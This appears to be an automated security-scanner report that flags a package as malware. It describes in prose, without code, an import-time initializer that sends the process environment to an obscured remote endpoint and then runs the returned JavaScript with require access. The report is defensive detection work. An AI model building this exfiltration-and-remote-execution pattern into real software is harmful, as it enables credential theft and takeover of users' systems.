AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is a concrete credential-exfiltration and remote-code-execution chain activated by ordinary package use. Lack of an install hook does not mitigate the import-time attack.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing the package entry point, including application startup.

Impact

Credential theft and arbitrary code execution in the importing process.

Mechanism

Environment exfiltration followed by remote JavaScript execution.

Attack narrative

The entry point loads an initializer during import. That initializer posts a copy of process environment variables to an obscured remote endpoint, then passes the response body to Function and runs it with require access. This gives the remote service control of code running in every process that imports the package.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Importing the package immediately loads its hidden initializer.
The initializer sends the entire process environment to a Base64-obscured remote endpoint.
It executes the server response as JavaScript with access to require.
The manifest has no lifecycle hook; the attack instead triggers on normal import.

Evidence against

No install, preinstall, or postinstall script is declared.
The inspected initializer shows no local file deletion or AI-agent configuration changes.
